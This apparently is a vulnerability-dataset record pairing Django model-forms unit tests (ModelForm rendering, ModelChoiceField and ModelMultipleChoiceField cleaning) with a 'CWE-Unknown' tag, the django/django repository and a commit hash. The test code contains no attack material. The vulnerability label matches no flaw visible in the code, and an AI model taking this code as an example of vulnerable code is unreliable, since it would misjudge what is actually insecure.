        self.assertEqual(c4.name, 'Fourth')
        w_bernstein = Writer.objects.create(name='Carl Bernstein')
        self.assertEqual(w_bernstein.name, 'Carl Bernstein')
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" /></li>
<li>Writer: <select name=""writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Carl Bernstein</option>
<option value=""%s"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article""></textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third</option>
<option value=""%s"">Fourth</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_bernstein.pk, w_royko.pk, c1.pk, c2.pk, c3.pk, c4.pk))

        # ModelChoiceField ############################################################

        f = forms.ModelChoiceField(Category.objects.all())
        self.assertEqual(list(f.choices), [
            ('', '---------'),
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third'),
            (c4.pk, 'Fourth')])
        with self.assertRaises(ValidationError):
            f.clean('')
        with self.assertRaises(ValidationError):
            f.clean(None)
        with self.assertRaises(ValidationError):
            f.clean(0)
        self.assertEqual(f.clean(c3.id).name, 'Third')
        self.assertEqual(f.clean(c2.id).name, ""It's a test"")

        # Add a Category object *after* the ModelChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        c5 = Category.objects.create(name='Fifth', url='5th')
        self.assertEqual(c5.name, 'Fifth')
        self.assertEqual(f.clean(c5.id).name, 'Fifth')

        # Delete a Category object *after* the ModelChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        Category.objects.get(url='5th').delete()
        with self.assertRaises(ValidationError):
            f.clean(c5.id)

        f = forms.ModelChoiceField(Category.objects.filter(pk=c1.id), required=False)
        self.assertEqual(f.clean(''), None)
        f.clean('')
        self.assertEqual(f.clean(str(c1.id)).name, ""Entertainment"")
        with self.assertRaises(ValidationError):
            f.clean('100')

        # queryset can be changed after the field is created.
        f.queryset = Category.objects.exclude(name='Fourth')
        self.assertEqual(list(f.choices), [
            ('', '---------'),
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third')])
        self.assertEqual(f.clean(c3.id).name, 'Third')
        with self.assertRaises(ValidationError):
            f.clean(c4.id)

        # check that we can safely iterate choices repeatedly
        gen_one = list(f.choices)
        gen_two = f.choices
        self.assertEqual(gen_one[2], (c2.pk, ""It's a test""))
        self.assertEqual(list(gen_two), [
            ('', '---------'),
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third')])

        # check that we can override the label_from_instance method to print custom labels (#4620)
        f.queryset = Category.objects.all()
        f.label_from_instance = lambda obj: ""category "" + str(obj)
        self.assertEqual(list(f.choices), [
            ('', '---------'),
            (c1.pk, 'category Entertainment'),
            (c2.pk, ""category It's a test""),
            (c3.pk, 'category Third'),
            (c4.pk, 'category Fourth')])

        # ModelMultipleChoiceField ####################################################

        f = forms.ModelMultipleChoiceField(Category.objects.all())
        self.assertEqual(list(f.choices), [
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third'),
            (c4.pk, 'Fourth')])
        with self.assertRaises(ValidationError):
            f.clean(None)
        with self.assertRaises(ValidationError):
            f.clean([])
        self.assertQuerysetEqual(f.clean([c1.id]), [""Entertainment""])
        self.assertQuerysetEqual(f.clean([c2.id]), [""It's a test""])
        self.assertQuerysetEqual(f.clean([str(c1.id)]), [""Entertainment""])
        self.assertQuerysetEqual(f.clean([str(c1.id), str(c2.id)]), [""Entertainment"", ""It's a test""],
                                 ordered=False)
        self.assertQuerysetEqual(f.clean([c1.id, str(c2.id)]), [""Entertainment"", ""It's a test""],
                                 ordered=False)
        self.assertQuerysetEqual(f.clean((c1.id, str(c2.id))), [""Entertainment"", ""It's a test""],
                                 ordered=False)
        with self.assertRaises(ValidationError):
            f.clean(['100'])
        with self.assertRaises(ValidationError):
            f.clean('hello')
        with self.assertRaises(ValidationError):
            f.clean(['fail'])

        # Add a Category object *after* the ModelMultipleChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        # Note, we are using an id of 1006 here since tests that run before
        # this may create categories with primary keys up to 6. Use
        # a number that is will not conflict.
        c6 = Category.objects.create(id=1006, name='Sixth', url='6th')
        self.assertEqual(c6.name, 'Sixth')
        self.assertQuerysetEqual(f.clean([c6.id]), [""Sixth""])

        # Delete a Category object *after* the ModelMultipleChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        Category.objects.get(url='6th').delete()
        with self.assertRaises(ValidationError):
            f.clean([c6.id])

        f = forms.ModelMultipleChoiceField(Category.objects.all(), required=False)
        self.assertIsInstance(f.clean([]), EmptyQuerySet)
        self.assertIsInstance(f.clean(()), EmptyQuerySet)
        with self.assertRaises(ValidationError):
            f.clean(['10'])
        with self.assertRaises(ValidationError):
            f.clean([str(c3.id), '10'])
        with self.assertRaises(ValidationError):
            f.clean([str(c1.id), '10'])

        # queryset can be changed after the field is created.
        f.queryset = Category.objects.exclude(name='Fourth')
        self.assertEqual(list(f.choices), [
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third')])
        self.assertQuerysetEqual(f.clean([c3.id]), [""Third""])
        with self.assertRaises(ValidationError):
            f.clean([c4.id])
        with self.assertRaises(ValidationError):
            f.clean([str(c3.id), str(c4.id)])

        f.queryset = Category.objects.all()
        f.label_from_instance = lambda obj: ""multicategory "" + str(obj)
        self.assertEqual(list(f.choices), [
            (c1.pk, 'multicategory Entertainment'),
            (c2.pk, ""multicategory It's a test""),
            (c3.pk, 'multicategory Third'),
            (c4.pk, 'multicategory Fourth')])

        # OneToOneField ###############################################################

        self.assertEqual(list(ImprovedArticleForm.base_fields), ['article'])

        self.assertEqual(list(ImprovedArticleWithParentLinkForm.base_fields), [])

        bw = BetterWriter(name='Joe Better', score=10)
        bw.save()
        self.assertEqual(sorted(model_to_dict(bw)),
                         ['id', 'name', 'score', 'writer_ptr'])

        form = BetterWriterForm({'name': 'Some Name', 'score': 12})
        self.assertEqual(form.is_valid(), True)
        bw2 = form.save()
        bw2.delete()

        form = WriterProfileForm()
        self.assertHTMLEqual(form.as_p(), '''<p><label for=""id_writer"">Writer:</label> <select name=""writer"" id=""id_writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Carl Bernstein</option>
<option value=""%s"">Joe Better</option>
<option value=""%s"">Mike Royko</option>
</select></p>
<p><label for=""id_age"">Age:</label> <input type=""text"" name=""age"" id=""id_age"" /></p>''' % (w_woodward.pk, w_bernstein.pk, bw.pk, w_royko.pk))

        data = {
            'writer': six.text_type(w_woodward.pk),
            'age': '65',
        }
        form = WriterProfileForm(data)
        instance = form.save()
        self.assertEqual(six.text_type(instance), 'Bob Woodward is 65')

        form = WriterProfileForm(instance=instance)
        self.assertHTMLEqual(form.as_p(), '''<p><label for=""id_writer"">Writer:</label> <select name=""writer"" id=""id_writer"">
<option value="""">---------</option>
<option value=""%s"" selected=""selected"">Bob Woodward</option>
<option value=""%s"">Carl Bernstein</option>
<option value=""%s"">Joe Better</option>
<option value=""%s"">Mike Royko</option>
</select></p>
<p><label for=""id_age"">Age:</label> <input type=""text"" name=""age"" value=""65"" id=""id_age"" /></p>''' % (w_woodward.pk, w_bernstein.pk, bw.pk, w_royko.pk))",CWE-Unknown,django/django,088d3bc2f84b6b68fee7e5de053b58049bd110e7,"def test_with_data(self):
        self.assertEqual(Category.objects.count(), 0)
        f = BaseCategoryForm({'name': 'Entertainment',
                              'slug': 'entertainment',
                              'url': 'entertainment'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['name'], 'Entertainment')
        self.assertEqual(f.cleaned_data['slug'], 'entertainment')
        self.assertEqual(f.cleaned_data['url'], 'entertainment')
        c1 = f.save()
        # Testing wether the same object is returned from the
        # ORM... not the fastest way...

        self.assertEqual(c1, Category.objects.all()[0])
        self.assertEqual(c1.name, ""Entertainment"")
        self.assertEqual(Category.objects.count(), 1)

        f = BaseCategoryForm({'name': ""It's a test"",
                              'slug': 'its-test',
                              'url': 'test'})
        self.assertTrue(f.is_valid())
        self.assertEqual(f.cleaned_data['name'], ""It's a test"")
        self.assertEqual(f.cleaned_data['slug'], 'its-test')
        self.assertEqual(f.cleaned_data['url'], 'test')
        c2 = f.save()
        # Testing wether the same object is returned from the
        # ORM... not the fastest way...
        self.assertEqual(c2, Category.objects.get(pk=c2.pk))
        self.assertEqual(c2.name, ""It's a test"")
        self.assertEqual(Category.objects.count(), 2)

        # If you call save() with commit=False, then it will return an object that
        # hasn't yet been saved to the database. In this case, it's up to you to call
        # save() on the resulting model instance.
        f = BaseCategoryForm({'name': 'Third test', 'slug': 'third-test', 'url': 'third'})
        self.assertEqual(f.is_valid(), True)
        self.assertEqual(f.cleaned_data['url'], 'third')
        self.assertEqual(f.cleaned_data['name'], 'Third test')
        self.assertEqual(f.cleaned_data['slug'], 'third-test')
        c3 = f.save(commit=False)
        self.assertEqual(c3.name, ""Third test"")
        self.assertEqual(Category.objects.count(), 2)
        c3.save()
        self.assertEqual(Category.objects.count(), 3)

        # If you call save() with invalid data, you'll get a ValueError.
        f = BaseCategoryForm({'name': '', 'slug': 'not a slug!', 'url': 'foo'})
        self.assertEqual(f.errors['name'], ['This field is required.'])
        self.assertEqual(f.errors['slug'], [""Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens.""])
        self.assertEqual(f.cleaned_data, {'url': 'foo'})
        with self.assertRaises(ValueError):
            f.save()
        f = BaseCategoryForm({'name': '', 'slug': '', 'url': 'foo'})
        with self.assertRaises(ValueError):
            f.save()

        # Create a couple of Writers.
        w_royko = Writer(name='Mike Royko')
        w_royko.save()
        w_woodward = Writer(name='Bob Woodward')
        w_woodward.save()
        # ManyToManyFields are represented by a MultipleChoiceField, ForeignKeys and any
        # fields with the 'choices' attribute are represented by a ChoiceField.
        f = ArticleForm(auto_id=False)
        self.assertHTMLEqual(six.text_type(f), '''<tr><th>Headline:</th><td><input type=""text"" name=""headline"" maxlength=""50"" /></td></tr>
<tr><th>Slug:</th><td><input type=""text"" name=""slug"" maxlength=""50"" /></td></tr>
<tr><th>Pub date:</th><td><input type=""text"" name=""pub_date"" /></td></tr>
<tr><th>Writer:</th><td><select name=""writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Mike Royko</option>
</select></td></tr>
<tr><th>Article:</th><td><textarea rows=""10"" cols=""40"" name=""article""></textarea></td></tr>
<tr><th>Categories:</th><td><select multiple=""multiple"" name=""categories"">
<option value=""%s"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third test</option>
</select><br /><span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></td></tr>
<tr><th>Status:</th><td><select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></td></tr>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))

        # You can restrict a form to a subset of the complete list of fields
        # by providing a 'fields' argument. If you try to save a
        # model created with such a form, you need to ensure that the fields
        # that are _not_ on the form have default values, or are allowed to have
        # a value of None. If a field isn't specified on a form, the object created
        # from the form can't provide a value for that field!
        f = PartialArticleForm(auto_id=False)
        self.assertHTMLEqual(six.text_type(f), '''<tr><th>Headline:</th><td><input type=""text"" name=""headline"" maxlength=""50"" /></td></tr>
<tr><th>Pub date:</th><td><input type=""text"" name=""pub_date"" /></td></tr>''')

        # When the ModelForm is passed an instance, that instance's current values are
        # inserted as 'initial' data in each Field.
        w = Writer.objects.get(name='Mike Royko')
        f = RoykoForm(auto_id=False, instance=w)
        self.assertHTMLEqual(six.text_type(f), '''<tr><th>Name:</th><td><input type=""text"" name=""name"" value=""Mike Royko"" maxlength=""50"" /><br /><span class=""helptext"">Use both first and last names.</span></td></tr>''')

        art = Article(
                    headline='Test article',
                    slug='test-article',
                    pub_date=datetime.date(1988, 1, 4),
                    writer=w,
                    article='Hello.'
                )
        art.save()
        art_id_1 = art.id
        self.assertEqual(art_id_1 is not None, True)
        f = TestArticleForm(auto_id=False, instance=art)
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" value=""Test article"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" value=""test-article"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" value=""1988-01-04"" /></li>
<li>Writer: <select name=""writer"">
<option value="""">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"" selected=""selected"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article"">Hello.</textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third test</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))
        f = TestArticleForm({
                'headline': 'Test headline',
                'slug': 'test-headline',
                'pub_date': '1984-02-06',
                'writer': six.text_type(w_royko.pk),
                'article': 'Hello.'
            }, instance=art)
        self.assertEqual(f.errors, {})
        self.assertEqual(f.is_valid(), True)
        test_art = f.save()
        self.assertEqual(test_art.id == art_id_1, True)
        test_art = Article.objects.get(id=art_id_1)
        self.assertEqual(test_art.headline, 'Test headline')
        # You can create a form over a subset of the available fields
        # by specifying a 'fields' argument to form_for_instance.
        f = PartialArticleFormWithSlug({
                'headline': 'New headline',
                'slug': 'new-headline',
                'pub_date': '1988-01-04'
            }, auto_id=False, instance=art)
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" value=""New headline"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" value=""new-headline"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" value=""1988-01-04"" /></li>''')
        self.assertEqual(f.is_valid(), True)
        new_art = f.save()
        self.assertEqual(new_art.id == art_id_1, True)
        new_art = Article.objects.get(id=art_id_1)
        self.assertEqual(new_art.headline, 'New headline')

        # Add some categories and test the many-to-many form output.
        self.assertQuerysetEqual(new_art.categories.all(), [])
        new_art.categories.add(Category.objects.get(name='Entertainment'))
        self.assertQuerysetEqual(new_art.categories.all(), [""Entertainment""])
        f = TestArticleForm(auto_id=False, instance=new_art)
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" value=""New headline"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" value=""new-headline"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" value=""1988-01-04"" /></li>
<li>Writer: <select name=""writer"">
<option value="""">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"" selected=""selected"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article"">Hello.</textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"" selected=""selected"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third test</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))

        # Initial values can be provided for model forms
        f = TestArticleForm(
                auto_id=False,
                initial={
                    'headline': 'Your headline here',
                    'categories': [str(c1.id), str(c2.id)]
                })
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" value=""Your headline here"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" /></li>
<li>Writer: <select name=""writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article""></textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"" selected=""selected"">Entertainment</option>
<option value=""%s"" selected=""selected"">It&#39;s a test</option>
<option value=""%s"">Third test</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))

        f = TestArticleForm({
                'headline': 'New headline',
                'slug': 'new-headline',
                'pub_date': '1988-01-04',
                'writer': six.text_type(w_royko.pk),
                'article': 'Hello.',
                'categories': [six.text_type(c1.id), six.text_type(c2.id)]
            }, instance=new_art)
        new_art = f.save()
        self.assertEqual(new_art.id == art_id_1, True)
        new_art = Article.objects.get(id=art_id_1)
        self.assertQuerysetEqual(new_art.categories.order_by('name'),
                         [""Entertainment"", ""It's a test""])

        # Now, submit form data with no categories. This deletes the existing categories.
        f = TestArticleForm({'headline': 'New headline', 'slug': 'new-headline', 'pub_date': '1988-01-04',
            'writer': six.text_type(w_royko.pk), 'article': 'Hello.'}, instance=new_art)
        new_art = f.save()
        self.assertEqual(new_art.id == art_id_1, True)
        new_art = Article.objects.get(id=art_id_1)
        self.assertQuerysetEqual(new_art.categories.all(), [])

        # Create a new article, with categories, via the form.
        f = ArticleForm({'headline': 'The walrus was Paul', 'slug': 'walrus-was-paul', 'pub_date': '1967-11-01',
            'writer': six.text_type(w_royko.pk), 'article': 'Test.', 'categories': [six.text_type(c1.id), six.text_type(c2.id)]})
        new_art = f.save()
        art_id_2 = new_art.id
        self.assertEqual(art_id_2 not in (None, art_id_1), True)
        new_art = Article.objects.get(id=art_id_2)
        self.assertQuerysetEqual(new_art.categories.order_by('name'), [""Entertainment"", ""It's a test""])

        # Create a new article, with no categories, via the form.
        f = ArticleForm({'headline': 'The walrus was Paul', 'slug': 'walrus-was-paul', 'pub_date': '1967-11-01',
            'writer': six.text_type(w_royko.pk), 'article': 'Test.'})
        new_art = f.save()
        art_id_3 = new_art.id
        self.assertEqual(art_id_3 not in (None, art_id_1, art_id_2), True)
        new_art = Article.objects.get(id=art_id_3)
        self.assertQuerysetEqual(new_art.categories.all(), [])

        # Create a new article, with categories, via the form, but use commit=False.
        # The m2m data won't be saved until save_m2m() is invoked on the form.
        f = ArticleForm({'headline': 'The walrus was Paul', 'slug': 'walrus-was-paul', 'pub_date': '1967-11-01',
            'writer': six.text_type(w_royko.pk), 'article': 'Test.', 'categories': [six.text_type(c1.id), six.text_type(c2.id)]})
        new_art = f.save(commit=False)

        # Manually save the instance
        new_art.save()
        art_id_4 = new_art.id
        self.assertEqual(art_id_4 not in (None, art_id_1, art_id_2, art_id_3), True)

        # The instance doesn't have m2m data yet
        new_art = Article.objects.get(id=art_id_4)
        self.assertQuerysetEqual(new_art.categories.all(), [])

        # Save the m2m data on the form
        f.save_m2m()
        self.assertQuerysetEqual(new_art.categories.order_by('name'), [""Entertainment"", ""It's a test""])

        # Here, we define a custom ModelForm. Because it happens to have the same fields as
        # the Category model, we can just call the form's save() to apply its changes to an
        # existing Category instance.
        cat = Category.objects.get(name='Third test')
        self.assertEqual(cat.name, ""Third test"")
        self.assertEqual(cat.id == c3.id, True)
        form = ShortCategory({'name': 'Third', 'slug': 'third', 'url': '3rd'}, instance=cat)
        self.assertEqual(form.save().name, 'Third')
        self.assertEqual(Category.objects.get(id=c3.id).name, 'Third')

        # Here, we demonstrate that choices for a ForeignKey ChoiceField are determined
        # at runtime, based on the data in the database when the form is displayed, not
        # the data in the database when the form is instantiated.
        f = ArticleForm(auto_id=False)
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" /></li>
<li>Writer: <select name=""writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article""></textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_royko.pk, c1.pk, c2.pk, c3.pk))

        c4 = Category.objects.create(name='Fourth', url='4th')
        self.assertEqual(c4.name, 'Fourth')
        w_bernstein = Writer.objects.create(name='Carl Bernstein')
        self.assertEqual(w_bernstein.name, 'Carl Bernstein')
        self.assertHTMLEqual(f.as_ul(), '''<li>Headline: <input type=""text"" name=""headline"" maxlength=""50"" /></li>
<li>Slug: <input type=""text"" name=""slug"" maxlength=""50"" /></li>
<li>Pub date: <input type=""text"" name=""pub_date"" /></li>
<li>Writer: <select name=""writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Carl Bernstein</option>
<option value=""%s"">Mike Royko</option>
</select></li>
<li>Article: <textarea rows=""10"" cols=""40"" name=""article""></textarea></li>
<li>Categories: <select multiple=""multiple"" name=""categories"">
<option value=""%s"">Entertainment</option>
<option value=""%s"">It&#39;s a test</option>
<option value=""%s"">Third</option>
<option value=""%s"">Fourth</option>
</select> <span class=""helptext""> Hold down ""Control"", or ""Command"" on a Mac, to select more than one.</span></li>
<li>Status: <select name=""status"">
<option value="""" selected=""selected"">---------</option>
<option value=""1"">Draft</option>
<option value=""2"">Pending</option>
<option value=""3"">Live</option>
</select></li>''' % (w_woodward.pk, w_bernstein.pk, w_royko.pk, c1.pk, c2.pk, c3.pk, c4.pk))

        # ModelChoiceField ############################################################

        f = forms.ModelChoiceField(Category.objects.all())
        self.assertEqual(list(f.choices), [
            ('', '---------'),
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third'),
            (c4.pk, 'Fourth')])
        with self.assertRaises(ValidationError):
            f.clean('')
        with self.assertRaises(ValidationError):
            f.clean(None)
        with self.assertRaises(ValidationError):
            f.clean(0)
        self.assertEqual(f.clean(c3.id).name, 'Third')
        self.assertEqual(f.clean(c2.id).name, ""It's a test"")

        # Add a Category object *after* the ModelChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        c5 = Category.objects.create(name='Fifth', url='5th')
        self.assertEqual(c5.name, 'Fifth')
        self.assertEqual(f.clean(c5.id).name, 'Fifth')

        # Delete a Category object *after* the ModelChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        Category.objects.get(url='5th').delete()
        with self.assertRaises(ValidationError):
            f.clean(c5.id)

        f = forms.ModelChoiceField(Category.objects.filter(pk=c1.id), required=False)
        self.assertEqual(f.clean(''), None)
        f.clean('')
        self.assertEqual(f.clean(str(c1.id)).name, ""Entertainment"")
        with self.assertRaises(ValidationError):
            f.clean('100')

        # queryset can be changed after the field is created.
        f.queryset = Category.objects.exclude(name='Fourth')
        self.assertEqual(list(f.choices), [
            ('', '---------'),
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third')])
        self.assertEqual(f.clean(c3.id).name, 'Third')
        with self.assertRaises(ValidationError):
            f.clean(c4.id)

        # check that we can safely iterate choices repeatedly
        gen_one = list(f.choices)
        gen_two = f.choices
        self.assertEqual(gen_one[2], (c2.pk, ""It's a test""))
        self.assertEqual(list(gen_two), [
            ('', '---------'),
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third')])

        # check that we can override the label_from_instance method to print custom labels (#4620)
        f.queryset = Category.objects.all()
        f.label_from_instance = lambda obj: ""category "" + str(obj)
        self.assertEqual(list(f.choices), [
            ('', '---------'),
            (c1.pk, 'category Entertainment'),
            (c2.pk, ""category It's a test""),
            (c3.pk, 'category Third'),
            (c4.pk, 'category Fourth')])

        # ModelMultipleChoiceField ####################################################

        f = forms.ModelMultipleChoiceField(Category.objects.all())
        self.assertEqual(list(f.choices), [
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third'),
            (c4.pk, 'Fourth')])
        with self.assertRaises(ValidationError):
            f.clean(None)
        with self.assertRaises(ValidationError):
            f.clean([])
        self.assertQuerysetEqual(f.clean([c1.id]), [""Entertainment""])
        self.assertQuerysetEqual(f.clean([c2.id]), [""It's a test""])
        self.assertQuerysetEqual(f.clean([str(c1.id)]), [""Entertainment""])
        self.assertQuerysetEqual(f.clean([str(c1.id), str(c2.id)]), [""Entertainment"", ""It's a test""])
        self.assertQuerysetEqual(f.clean([c1.id, str(c2.id)]), [""Entertainment"", ""It's a test""])
        self.assertQuerysetEqual(f.clean((c1.id, str(c2.id))), [""Entertainment"", ""It's a test""])
        with self.assertRaises(ValidationError):
            f.clean(['100'])
        with self.assertRaises(ValidationError):
            f.clean('hello')
        with self.assertRaises(ValidationError):
            f.clean(['fail'])

        # Add a Category object *after* the ModelMultipleChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        # Note, we are using an id of 1006 here since tests that run before
        # this may create categories with primary keys up to 6. Use
        # a number that is will not conflict.
        c6 = Category.objects.create(id=1006, name='Sixth', url='6th')
        self.assertEqual(c6.name, 'Sixth')
        self.assertQuerysetEqual(f.clean([c6.id]), [""Sixth""])

        # Delete a Category object *after* the ModelMultipleChoiceField has already been
        # instantiated. This proves clean() checks the database during clean() rather
        # than caching it at time of instantiation.
        Category.objects.get(url='6th').delete()
        with self.assertRaises(ValidationError):
            f.clean([c6.id])

        f = forms.ModelMultipleChoiceField(Category.objects.all(), required=False)
        self.assertIsInstance(f.clean([]), EmptyQuerySet)
        self.assertIsInstance(f.clean(()), EmptyQuerySet)
        with self.assertRaises(ValidationError):
            f.clean(['10'])
        with self.assertRaises(ValidationError):
            f.clean([str(c3.id), '10'])
        with self.assertRaises(ValidationError):
            f.clean([str(c1.id), '10'])

        # queryset can be changed after the field is created.
        f.queryset = Category.objects.exclude(name='Fourth')
        self.assertEqual(list(f.choices), [
            (c1.pk, 'Entertainment'),
            (c2.pk, ""It's a test""),
            (c3.pk, 'Third')])
        self.assertQuerysetEqual(f.clean([c3.id]), [""Third""])
        with self.assertRaises(ValidationError):
            f.clean([c4.id])
        with self.assertRaises(ValidationError):
            f.clean([str(c3.id), str(c4.id)])

        f.queryset = Category.objects.all()
        f.label_from_instance = lambda obj: ""multicategory "" + str(obj)
        self.assertEqual(list(f.choices), [
            (c1.pk, 'multicategory Entertainment'),
            (c2.pk, ""multicategory It's a test""),
            (c3.pk, 'multicategory Third'),
            (c4.pk, 'multicategory Fourth')])

        # OneToOneField ###############################################################

        self.assertEqual(list(ImprovedArticleForm.base_fields), ['article'])

        self.assertEqual(list(ImprovedArticleWithParentLinkForm.base_fields), [])

        bw = BetterWriter(name='Joe Better', score=10)
        bw.save()
        self.assertEqual(sorted(model_to_dict(bw)),
                         ['id', 'name', 'score', 'writer_ptr'])

        form = BetterWriterForm({'name': 'Some Name', 'score': 12})
        self.assertEqual(form.is_valid(), True)
        bw2 = form.save()
        bw2.delete()

        form = WriterProfileForm()
        self.assertHTMLEqual(form.as_p(), '''<p><label for=""id_writer"">Writer:</label> <select name=""writer"" id=""id_writer"">
<option value="""" selected=""selected"">---------</option>
<option value=""%s"">Bob Woodward</option>
<option value=""%s"">Carl Bernstein</option>
<option value=""%s"">Joe Better</option>
<option value=""%s"">Mike Royko</option>
</select></p>
<p><label for=""id_age"">Age:</label> <input type=""text"" name=""age"" id=""id_age"" /></p>''' % (w_woodward.pk, w_bernstein.pk, bw.pk, w_royko.pk))

        data = {
            'writer': six.text_type(w_woodward.pk),
            'age': '65',
        }
        form = WriterProfileForm(data)
        instance = form.save()
        self.assertEqual(six.text_type(instance), 'Bob Woodward is 65')

        form = WriterProfileForm(instance=instance)
        self.assertHTMLEqual(form.as_p(), '''<p><label for=""id_writer"">Writer:</label> <select name=""writer"" id=""id_writer"">
<option value="""">---------</option>
<option value=""%s"" selected=""selected"">Bob Woodward</option>
<option value=""%s"">Carl Bernstein</option>
<option value=""%s"">Joe Better</option>
<option value=""%s"">Mike Royko</option>
</select></p>
